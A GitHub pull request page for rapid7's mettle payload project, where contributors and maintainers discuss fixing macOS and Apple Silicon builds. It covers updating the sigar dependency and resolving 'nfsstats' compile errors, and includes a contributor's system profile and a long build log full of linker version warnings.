Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Apple Silicon (M1 & M2) and fixed macOS builds #237

Merged
merged 1 commit into from
Mar 2, 2023
Merged

Added Apple Silicon (M1 & M2) and fixed macOS builds #237

merged 1 commit into from
Mar 2, 2023

Conversation

Ishaanahuja7
Copy link
Contributor

@Ishaanahuja7 Ishaanahuja7 commented Nov 1, 2022

1). Used config.update.sh to update config.guess and config.sub for fixing json-c and mettle build on Apple Silicon
2). Updated rapid7/sigar with rapid7/sigar#2, rapid7/sigar#4, and rapid7/sigar#5 to update it to 1.6.7 to get it to build on Apple Silicon
3). Replaced almost all deprecated macOS APIs

@space-r7
Copy link
Contributor

space-r7 commented Nov 2, 2022

Currently getting this failure in the build:

05:06:23 Building libsigar for x86_64-apple-darwin
05:06:24 darwin_sigar.c:34:8: error: redefinition of 'nfsstats'
05:06:24 struct nfsstats {
05:06:24        ^
05:06:24 /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk/usr/include/nfs/nfs.h:478:8: note: previous definition is here
05:06:24 struct nfsstats {
05:06:24        ^
05:06:24 1 error generated.
05:06:24 make[4]: *** [darwin_sigar.lo] Error 1
05:06:24 make[3]: *** [all-recursive] Error 1
05:06:24 make[2]: *** [all-recursive] Error 1
05:06:24 make[1]: *** [all-recursive] Error 1
05:06:25 darwin_sigar.c:34:8: error: redefinition of 'nfsstats'
05:06:25 struct nfsstats {
05:06:25        ^
05:06:25 /usr/include/nfs/nfs.h:461:8: note: previous definition is here
05:06:25 struct nfsstats {
05:06:25        ^
05:06:25 1 error generated.
05:06:25 make[4]: *** [darwin_sigar.lo] Error 1
05:06:25 make[3]: *** [install-recursive] Error 1
05:06:25 make[2]: *** [install-recursive] Error 1
05:06:25 make[1]: *** [install-recursive] Error 1

@space-r7
Copy link
Contributor

space-r7 commented Nov 3, 2022

Hi @Ishaanahuja7, it looks like a similar PR was already submitted prior to this one. That PR doesn't include the apple_mic.m and apple_webcam.m changes, so perhaps you might consider collaborating with the contributor of that PR and merge commits.

@Ishaanahuja7
Copy link
Contributor Author

Hi @space-r7, I have made a pull request to merge darwin_sigar.c changes here: rapid7/sigar#2

Looks like that repo is pretty unmaintained so until they merge that change, we can merge and keep that change here. Once rapid7/sigar maintainers merge my pull request and update libsigar to 1.6.4, we can update the deps folder with that and remove the fixed darwin_sigar.c

@jmartin-tech
Copy link
Contributor

@Ishaanahuja7 rapid7 is the maintainers for rapid7/sigar#2, I have updated the target branch for that PR to r7-custom and the team will test all of this in series, that PR will need to land and we will tag a new release for that package to add as the dependency here.

@Ishaanahuja7
Copy link
Contributor Author

@space-r7 @jmartin-r7 rapid7/sigar#2 has landed with new release tag 1.6.5. I have updated the deps dir with the new tar.gz file and fixed Makefile.libsigar to work with the new version. All tests seem to pass and mettle can now be built on Apple Silicon. Please merge this PR soon!

@Ishaanahuja7
Copy link
Contributor Author

@timwr @space-r7 @jmartin-r7 Can anybody merge this PR?

@gwillcox-r7
Copy link
Contributor

@Ishaanahuja7 This PR still needs to be reviewed to make sure that it doesn't break any existing functionality in Mettle. Additionally the team may need to source a Apple Silicon machine to test these changes on. The team is currently focused on final changes before we release 6.3 of Metasploit Framework. Once that has been released, we will have more time to circle back around and review this PR.

@Ishaanahuja7
Copy link
Contributor Author

@gwillcox-r7 Sorry for the ping, didn't know there were other requirements before this could be merged. Sounds good!

@gwillcox-r7
Copy link
Contributor

@Ishaanahuja7 All good, all part of learning and contributing 👍

@space-r7
Copy link
Contributor

Getting the same error as above during build on M1. On Monterey with Xcode 13.3. According to this issue, this may have been introduced in version 13.:

...
darwin_sigar.c:2370:24: error: invalid application of 'sizeof' to an incomplete type 'struct nfsstats'
    size_t len = sizeof(*stats);
                       ^~~~~~~~
darwin_sigar.c:2368:32: note: forward declaration of 'struct nfsstats'
static int get_nfsstats(struct nfsstats *stats)
                               ^
darwin_sigar.c:2429:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2429:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
darwin_sigar.c:2448:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2448:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
4 warnings and 3 errors generated.
make[4]: *** [darwin_sigar.lo] Error 1
make[3]: *** [install-recursive] Error 1
make[2]: *** [install-recursive] Error 1
make[1]: *** [install-recursive] Error 1

@Ishaanahuja7
Copy link
Contributor Author

Ishaanahuja7 commented Feb 1, 2023

This error was in Sigar and was fixed in this PR rapid7/sigar#2 with the release of 1.6.5

@busterb confirmed that building and running Sigar was successful on macOS 10.13.6 and macOS 13.1.0 here rapid7/sigar#2 (comment)

I'm able to build mettle on M1 with Xcode 14.2 on macOS 13.2 with these changes so unsure why this error is coming up again.

Here is my system information and build log:

ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~ % system_profiler SPSoftwareDataType SPHardwareDataType
Software:

    System Software Overview:

      System Version: macOS 13.2 (22D49)
      Kernel Version: Darwin 22.3.0
      Boot Volume: Ishaan Ahuja's SSD
      Boot Mode: Normal
      Computer Name: Ishaan Ahuja’s MacBook Pro
      User Name: Ishaan Ahuja (ishaanahuja)
      Time since boot: 2 days, 23 hours, 37 minutes

Hardware:

    Hardware Overview:

      Model Name: MacBook Pro
      Model Identifier: MacBookPro18,2
      Chip: Apple M1 Max
      Total Number of Cores: 10 (8 performance and 2 efficiency)
      Memory: 64 GB
      System Firmware Version: 8419.80.7
      OS Loader Version: 8419.80.7

Developer:

    Developer Tools:

      Version: 14.2 (14C18)
      Location: /Applications/Xcode.app
      Applications:
          Xcode: 14.2 (21534)
          Instruments: 14.1 (64556.12)
      SDKs:
          DriverKit:
              22.2: 
          iOS:
              16.2: (20C52)
          iOS Simulator:
              16.2: (20C52)
          macOS:
              13.1: (22C55)
          tvOS:
              16.1: (20K67)
          tvOS Simulator:
              16.1: (20K67)
          watchOS:
              9.1: (20S71)
          watchOS Simulator:
              9.1: (20S71)
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing % git clone --recursive https://github.com/rapid7/mettle
Cloning into 'mettle'...
remote: Enumerating objects: 6064, done.
remote: Counting objects: 100% (806/806), done.
remote: Compressing objects: 100% (300/300), done.
remote: Total 6064 (delta 463), reused 754 (delta 436), pack-reused 5258
Receiving objects: 100% (6064/6064), 76.58 MiB | 2.74 MiB/s, done.
Resolving deltas: 100% (3879/3879), done.
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing % cd mettle     
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing/mettle % gh pr checkout 237                                    
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 19 (delta 13), reused 16 (delta 13), pack-reused 0
Unpacking objects: 100% (19/19), 1.11 MiB | 703.00 KiB/s, done.
From https://github.com/rapid7/mettle
 * [new ref]         refs/pull/237/head -> aarch64-mac-build-fixup
Switched to branch 'aarch64-mac-build-fixup'
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing/mettle % make TARGET=aarch64-apple-darwin -j 12
Configuring libtool
Configuring autoconf
Configuring bison
Configuring flex
Configuring coreutils
Unpacking libpcap for aarch64-apple-darwin
Unpacking json-c for aarch64-apple-darwin
Unpacking libz for aarch64-apple-darwin
Unpacking curl for aarch64-apple-darwin
Unpacking libeio for aarch64-apple-darwin
Unpacking libev for aarch64-apple-darwin
Unpacking libsigar for aarch64-apple-darwin
Unpacking libdnet for aarch64-apple-darwin
Building autoconf
configure.ac:12: warning: The macro `AC_PROG_CC_STDC' is obsolete.
configure.ac:12: You should run autoupdate.
./lib/autoconf/c.m4:1666: AC_PROG_CC_STDC is expanded from...
configure.ac:12: the top level
configure.ac:14: warning: The macro `AC_PROG_LIBTOOL' is obsolete.
configure.ac:14: You should run autoupdate.
m4/libtool.m4:100: AC_PROG_LIBTOOL is expanded from...
configure.ac:14: the top level
Configuring automake
configure.ac:10: installing './compile'
configure.ac:4: installing './install-sh'
configure.ac:4: installing './missing'
extensions/sniffer/Makefile.am: installing './depcomp'
Building automake
Building libtool
Building flex
Building bison
Building coreutils
Configuring libpcap for aarch64-apple-darwin
Configuring json-c for aarch64-apple-darwin
Configuring libz for aarch64-apple-darwin
Unpacking mbedtls for /Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin
Configuring libeio for aarch64-apple-darwin
Configuring libev for aarch64-apple-darwin
Configuring libsigar for aarch64-apple-darwin
Configuring libdnet for aarch64-apple-darwin
./autogen.sh: running `glibtoolize --copy --force' 
Building mbedtls for aarch64-apple-darwin
glibtoolize: putting auxiliary files in '.'.
glibtoolize: copying file './ltmain.sh'
glibtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
glibtoolize: copying file 'm4/libtool.m4'
glibtoolize: copying file 'm4/ltoptions.m4'
glibtoolize: copying file 'm4/ltsugar.m4'
glibtoolize: copying file 'm4/ltversion.m4'
glibtoolize: copying file 'm4/lt~obsolete.m4'
./autogen.sh: running `aclocal' 
Building libz for aarch64-apple-darwin
./autogen.sh: running `automake --add-missing --copy' 
Configuring curl for aarch64-apple-darwin
configure.ac:19: installing './compile'
configure.ac:5: installing './install-sh'
configure.ac:5: installing './missing'
bindings/lua/Makefile.am: installing './depcomp'
parallel-tests: installing './test-driver'
./autogen.sh: running `autoconf' 
Now type './configure --enable-maintainer-mode ...' and 'make' to compile.
Building libeio for aarch64-apple-darwin
Building libev for aarch64-apple-darwin
Building libpcap for aarch64-apple-darwin
grammar.y: warning: 38 shift/reduce conflicts [-Wconflicts-sr]
Building json-c for aarch64-apple-darwin
Building libsigar for aarch64-apple-darwin
darwin_sigar.c:1164:17: warning: variable 'count' set but not used [-Wunused-but-set-variable]
    int status, count;
                ^
darwin_sigar.c:1512:43: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
    service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                          ^~~~~~~~~~~~~~~~~~~~
                                          kIOMainPortDefault
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:1513:61: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
                                          IOBSDNameMatching(kIOMasterPortDefault, 0, dname));
                                                            ^~~~~~~~~~~~~~~~~~~~
                                                            kIOMainPortDefault
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
Building libdnet for aarch64-apple-darwin
3 warnings generated.
configure: WARNING: disabling built-in manual
Building curl for aarch64-apple-darwin
mprintf.c:946:10: warning: 'sprintf' is deprecated: This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead. [-Wdeprecated-declarations]
        (sprintf)(work, formatbuf, p->data.dnum);
         ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:188:1: note: 'sprintf' has been explicitly marked deprecated here
__deprecated_msg("This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead.")
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:215:48: note: expanded from macro '__deprecated_msg'
        #define __deprecated_msg(_msg) __attribute__((__deprecated__(_msg)))
                                                      ^
1 warning generated.
ld: warning: ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aes.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(certs.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(debug.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: 
object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aesni.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(pkcs11.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(adler32.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(compress.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(arc4.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(crc32.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aria.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1parse.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: 
ld: warning: dylib (/opt/homebrew/lib/libbrotlidec.dylib) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_create.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(deflate.o)) was built for newer macOS version (13.0) than being linked (11.0)object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(net_sockets.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1write.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crl.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(base64.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cache.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crt.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(bignum.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: 
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_csr.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_crt.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ciphersuites.o)) was built for newer macOS version (13.0) than being linked (11.0)
object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(gzclose.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cli.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(blowfish.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(camellia.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ccm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cookie.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_msg.o)) was built for newer macOS version (13.0) than being linked (11.0)object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(gzlib.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chacha20.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_srv.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_csr.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ticket.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(gzread.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chachapoly.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher_wrap.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_tls.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(gzwrite.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(infback.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(inffast.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cmac.o)) was built for newer macOS version (13.0) than being linked (11.0)ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(inflate.o)) was built for newer macOS version (13.0) than being linked (11.0)

ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ctr_drbg.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(inftrees.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(trees.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(uncompr.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libz.a(zutil.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(des.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(dhm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdh.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdsa.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecjpake.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp_curves.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy_poll.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(error.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(gcm.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(havege.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hkdf.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hmac_drbg.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md2.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md4.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md5.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(memory_buffer_alloc.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(nist_kw.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(oid.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(padlock.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pem.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk_wrap.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs12.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs5.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkparse.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkwrite.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform_util.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(poly1305.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_se.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_slot_management.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_storage.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_its_file.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ripemd160.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa_internal.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha1.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha256.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha512.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(threading.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(timing.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version_features.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(xtea.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(everest.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(x25519.o)) was built for newer macOS version (13.0) than being linked (11.0)
